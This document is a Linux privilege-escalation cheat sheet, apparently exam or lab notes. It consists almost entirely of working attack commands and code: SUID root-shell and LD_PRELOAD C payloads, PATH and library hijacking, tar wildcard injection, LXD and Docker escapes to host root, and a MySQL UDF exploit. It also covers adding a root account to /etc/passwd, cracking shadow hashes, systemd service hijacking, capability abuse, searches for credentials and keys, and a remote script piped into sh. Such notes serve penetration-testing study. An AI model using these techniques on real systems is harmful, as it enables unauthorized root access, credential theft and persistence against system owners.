0. FLAG ACQUISITION AND TRUNCATION
- The Standard:
find / -name "local.txt" 2>/dev/nullfind / -name "proof.txt" 2>/dev/null- The Speedster (Locate):
locate local.txt proof.txt- The Content Search (Grepping):
grep -rnw '/' -e "flag{" 2>/dev/null- TREE-ING:
find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'find . | awk -F/ '{print (NF>1 ? sprintf("%" (NF-2)*4 "s", "") "|-- " : "") $NF}'ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'Un-truncate Terminal Output
- Linux:
export COLUMNS=1000orstty cols 1000(alternatively pipe toless -S)
1. Quick Triage (Run Immediately)
Goal: Identify low-hanging fruit and immediate escalation vectors.
System & Kernel Information
- OS Release:
cat /etc/issue; cat /etc/*-release - Kernel Version:
uname -r; arch - CPU Info:
lscpu - Environment Variables:
env(Check for high-privilege tokens or paths) - Kernel Exploits: Compare
uname -runame -aagainst Kernel Exploits
User & Sudo Privileges
- Current ID:
id - Sudo Capabilities:
sudo -l(List allowed commands) - go for: GTFOBinssudo -i(Enter root shell if allowed)sudo -p(Preserve Privileges)- [Added] Check for
LD_PRELOADinsudo -loutput.
- Sudo Version:
sudo -V- Exploit: If version is 1.8.31, use this exploit.
- Policy Kit:
dpkg -s policykit-1pkexec --version- Exploit: PKWNER
User Enumeration
- Valid Shells:
cat /etc/shells - Shellshock Check:
grep "*sh$" /etc/passwd - View All Users:
cat /etc/passwd- Only usernames:
cat /etc/passwd | cut -f1 -d:
- Only usernames:
- Login History:
lastlog - Groups:
cat /etc/group- Interesting groups:
getent group sudo - Action: If user is in
admgroup, check/var/logs(or/var/log).
- Interesting groups:
- UID Conflicts: Check id with
ls -ln.- Vector: If UID matches an NFS share owner, refer to NFS section.
2. File System & Binary Hunting
Goal: Find misconfigured permissions, passwords, and capabilities.
File Content Search (Recursive)
Command: grep
Search recursively (-r) starting from current directory (.), print line numbers (-n), and ignore case (-i).
grep -rni "search_term" .| Flag | Description |
|---|---|
-r | Read all files under each directory, recursively. |
-n | Prefix each line of output with the 1-based line number. |
-i | Ignore case distinctions (optional but recommended). |
-l | Print only names of FILEs with selected lines (suppress normal output). |
Finding important files:
By Extension
find / -type f \( -name "*.pdf" -o -name "*.txt" -o -name "*.conf" -o -name "*.bak" \) 2>/dev/nullBy Content (Passwords/Keys)
grep -rnEi "password|pwd|cred" /home /etc /var/www /opt 2>/dev/nullSUID/SGID & Capabilities
- Find SUID Binaries:
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
# IF ANY CUSTOM BINARY IS FOUND, CHECK IT WITH STRINGS.- Note: Don’t just look at GTFOBins. Search Google for the binary name + “exploit” or “privesc”.
- Find SGID Binaries:
find / -perm /6000 -type f 2>/dev/null- Capabilities: (Check [[capabilities]])
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;Writable Files & Directories
- Writable Directories:
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/nullfind / -writable -type d 2>/dev/null- Writable Files:
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/nullConfiguration & Password Hunting
-
Global Configs:
cat /etc/fstab(Check for unmounted drives/credentials)cat /etc/iptables/rules.v4(Listing 10 in linux privesc)cat .bashrccat /etc/logrotate.dor similar (Check logrotate.md)
-
Find .conf Files:
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null- Find Scripts:
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
# WITH ls -lafind / -type f -name "*.sh" -not -path "*/src/*" -not -path "*/snap/*" -not -path "*/share/*" -exec ls -la {} + 2>/dev/null- Hidden Files: (Entire File System)
find / -type d -name ".*" -ls 2>/dev/null- Hidden Directories: (Entire File System)
find / -type d -name ".*" 2>/dev/null- WordPress Config:
cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'- Recursive Grep:
grep -Horn <text> <dir># To print full line: exclude `-o`3. Process & Software Enumeration
Goal: Analyze running code for vulnerabilities.
Processes
- List All Processes:
ps auxps fauxwwps -ewwo pid,user,cmd --forest
- Root Processes:
ps aux | grep root - Specific Process Search:
ps u -C passwd(View all processes calledpasswd) - Password Hunting in Process:
watch -n 1 "ps -aux | grep pass" - Process Snooping (No Sudo): pspy:
./pspy64 -pf -i 1000 - Doas Config:
find / -name doas.conf 2>/dev/null- Strace: Use
straceto trace system calls/signals of commands.
Cron Jobs & Timers
- List Cron:
crontab -l(Run with sudo if possible)ls -lah /etc/cron*
- Cron Logs:
grep "CRON" /var/log/syslog - [Added] Systemd Timers:
systemctl list-timers --all
Packages & Tooling
- Check Path:
which nc,which python,which python3,which perl,which ruby - Add Current Path:
PATH=.:${PATH} - List Packages:
dpkg -l - Check Binaries:
ls -l /bin /usr/bin/ /usr/sbin/ - Kernel Modules:
lsmod- Query module info:
/sbin/modinfo libata
- GTFOBins Auto-Check:
- Create list:
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list2. Compare against GTFO:for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done4. Network & Internal Services
Goal: Pivot to internal services or find localhost-only listeners.
- Connections & Listeners: (CHECK WITH BOTH
netstatandss)netstat -antup(All)netstat -plunt(Listening)ss -anpss-tunlp
- Traffic Sniffing:
sudo tcpdump -i lo -A | grep "pass" - DNS & Hosts:
cat /etc/hostscat /etc/resolv.conf(Internal DNS usually indicates AD)
- Interfaces:
ifconfigorip a(Check for dual homing) - Neighbors:
arp -a - Routing:
routeorroutel
5. Specialized Vectors
Goal: Exploit specific technologies found during enumeration.
NFS Escalation
- Discovery:
showmount -e <ip> - Check Exports:
cat /etc/exports- Condition: Look for
(rw,no_root_squash)
- Condition: Look for
- Exploitation Steps:
- Create
shell.c:
- Create
#include <stdio.h>#include <sys/types.h>#include <unistd.h>int main(){ setuid(0);setgid(0);system("/bin/bash");}2. Compile and mount:sudo mount -t nfs <target-ip>:/tmp /mntgcc shell.c -o shellcp shell /mntchmod u+s /mnt/shell3. Execute on target: `./shell`Docker
Identify:
-
Check for
.dockerenvin root. -
Check for
.dockerenv: Runls -la /.dockerenv. -
Inspect Cgroups: Run
grep 'docker' /proc/1/cgroup. -
Verify MAC Address: Check
ip linkfor the02:42:acprefix. -
Analyze PID 1: Run
ps -p 1(look for a non-systemd process). -
Scan Mounts: Run
mount | grep -i docker. -
Check Hardware: Run
lspci(usually empty in containers). -
Hostname Check: Docker hostnames are often random hex (e.g.,
efaa6f5097ed) unless-hwas used. -
Privileged Escalation:
sudo docker exec --privileged --user 0 -it container_name /bin/sh- Tooling: Use CDK (Refer: Forgotten-vulnlab).
Method 2:
- Check for docker containers with:
docker image ls - Then,
docker run -v /:/mnt --rm -it <container_name> chroot /mnt /bin/sh{WORKS BECAUSE DOCKER ALWAYS RUNS AS ROOT}
WSL (Windows Subsystem for Linux)
- Mount C Drive:
mount -t drvfs 'c:' /mnt/cActive Directory (Linux Integration)
- Kerberos Config:
cat /etc/krb5.conf - Root Access: If root, use KeyTabExtract.
- SSSD Secrets:
strings /var/lib/sss/secrets/secrets.ldb | grep '\$'- SSSD Cache:
strings /var/lib/sss/db/cache_cerberus.local.ldb | grep '\$'Disks & Peripherals
- Block Devices:
lsblk(Hard disks, USB) - Partitions:
fdisk -l(Check unmounted drives) - Mounts:
mount - Printers:
lpstat
6. SSH & Cryptographic Keys
Goal: Locate keys allowing lateral movement or root access.
- Find Private Keys:
find / -type f \( -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" \) 2>/dev/null- Find Authorized Keys & Known Hosts:
find / -name "authorized_keys" -o -name "known_hosts" 2>/dev/null- SSH Configuration: Check
cat /etc/ssh/sshd_configforPermitRootLogin.
7. Execution Path & Environment Hijacking
Goal: Exploit relative paths or vulnerable library loading in SUID binaries.
Path Hijacking
- Identify Relative Calls: Run
strings <SUID_binary>orltrace ./<SUID_binary> 2>&1 | grep execve. Look for commands called without an absolute path (e.g.,curlinstead of/usr/bin/curl). - Exploitation:
- Create a malicious executable matching the called command name:
echo '/bin/bash -p' > /tmp/curl; chmod +x /tmp/curl - Export the new path:
export PATH=/tmp:$PATH - Execute the SUID binary.
- Create a malicious executable matching the called command name:
Library Hijacking
- Shared Object Injection: Run
strace -o strace.out ./<SUID_binary>; grep "No such file" strace.out. Look for missing.sofiles in writable directories. - RPATH Exploitation: Run
objdump -x <SUID_binary> | grep RPATH. If the RPATH directory is writable, place a malicious.sofile there.
8. Wildcard Injections
Goal: Exploit commands in cron jobs or scripts running with * as an argument.
- Identify: Look for commands like
tar *,chown *, orrsync *running as root (often in cron). - Tar Exploit:
echo "" > "--checkpoint=1"echo "" > "--checkpoint-action=exec=sh shell.sh"echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.shchmod +x shell.sh# Wait for cron job to execute tar in this directory9. Container & Group-Specific Escalations
Goal: Leverage specific group memberships for full system compromise.
LXD / LXC
- Condition: Current user is in the
lxdgroup (id). - Exploitation (Requires local Alpine image build or pulling a pre-built one):
# On attacking machine:git clone https://github.com/saghul/lxd-alpine-builder.gitcd lxd-alpine-builder; ./build-alpine# Transfer the resulting .tar.gz to target
# On target machine:lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimagelxc init myimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/sh# The host's root file system is now mounted at /mnt/rootScreen / Tmux Session Hijacking
- Condition: Root has an active, detached screen or tmux session with lax permissions.
- Exploitation:
screen -lsscreen -x root/<session_name>
10. Database Escalations (MySQL/MariaDB)
Goal: Exploit database service running as root.
- Condition: MySQL is running as root (
ps aux | grep mysql) and you have database credentials. - User Defined Functions (UDF) Exploit:
- Locate
raptor_udf2.cvia searchsploit. - Compile and transfer to the target.
- Execute in MySQL shell:
- Locate
USE mysql;CREATE TABLE foo(line blob);INSERT INTO foo values(load_file('/tmp/raptor_udf2.so'));SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';CREATE FUNCTION do_system RETURNS integer SONAME 'raptor_udf2.so';SELECT do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');11. Automated Enumeration Tools
Goal: Automate the discovery process efficiently during the exam.
- LinPEAS: (Transfer and run, check for RED/YELLOW output)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh- Linux Smart Enumeration (LSE):
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh; chmod +x lse.sh; ./lse.sh -l 112. Sudo LD_PRELOAD Escalation
Goal: Hijack execution flow when sudo preserves the LD_PRELOAD environment variable.
- Condition:
sudo -lshowsenv_keep+=LD_PRELOAD. - Exploitation:
- Create
preload.c:
- Create
#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash");}- Compile:
gcc -fPIC -shared -o preload.so preload.c -nostartfiles - Execute:
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_sudo_command>
13. Writable System Files (/etc/passwd & /etc/shadow)
Goal: Manipulate user databases to inject a root account or steal password hashes.
- Condition:
/etc/passwdis writable. - Exploitation:
- Generate a password hash:
openssl passwd -1 -salt r00t password - Append new root user:
echo 'r00t:$1$r00t$xxxx:0:0:root:/root:/bin/bash' >> /etc/passwd - Switch user:
su r00t
- Generate a password hash:
- Condition:
/etc/shadowis readable. - Exploitation:
- Copy
passwdandshadowfiles to the attacker machine. - Combine:
unshadow passwd shadow > unshadowed.txt - Crack:
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
- Copy
14. Systemd Service Hijacking
Goal: Execute arbitrary commands as root via misconfigured systemd service files.
- Condition: A
.servicefile is writable by the current user, or the user hassudorights tosystemctlfor a specific service. - Exploitation:
- Modify the
ExecStartdirective in the service file (e.g.,/etc/systemd/system/test.service):
- Modify the
[Service]Type=simpleUser=rootExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'- Reload daemon:
systemctl daemon-reload(Requires privileges; skip if service restarts automatically or if rebooting). - Restart service:
systemctl restart test.service - Execute:
/tmp/rootbash -p
15. Capability Exploitation Specifics
Goal: Exploit specific capabilities identified in Section 2.
- Condition: Binary has
+epcapabilities (getcap -r / 2>/dev/null). - Exploitation Examples:
- Python (
cap_setuid+ep):
python -c 'import os; os.setuid(0); os.system("/bin/bash")'- Perl (
cap_setuid+ep):
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'- Tar (
cap_dac_read_search+ep):
tar -cvf shadow.tar /etc/shadowPSPY Enumeration:
- Upload and use it first. Many boxes Can be solved just by this.
-
timeout 5m ./pspy -i 1000 -
timeout 5m ./pspy64 -p -i 10 | grep -vE "(kworker|kthread|systemd|\[.*\])" | tee pspy_recon.log
-